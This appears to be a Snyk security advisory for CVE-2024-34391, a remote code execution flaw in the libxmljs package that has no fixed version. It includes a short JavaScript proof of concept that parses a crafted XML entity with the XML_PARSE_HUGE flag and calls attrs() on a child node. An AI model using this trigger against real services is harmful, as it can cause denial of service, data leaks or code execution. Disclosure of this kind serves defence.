Remote Code Execution (RCE) Affecting libxmljs package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-LIBXMLJS-6091649
  • published3 May 2024
  • disclosed27 Nov 2023
  • creditUriya Yavnieli

Introduced: 27 Nov 2023

CVE-2024-34391  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for libxmljs.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. An attacker can cause denial of service, data leak, infinite loop, and execute arbitrary code on 32-bit systems with the XML_PARSE_HUGE flag enabled by submitting a malicious XML document.

PoC


const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer "` +
 'A'.repeat(0x1234) +
`">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d, {flags: [libxmljs.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

References

CVSS Scores

version 3.1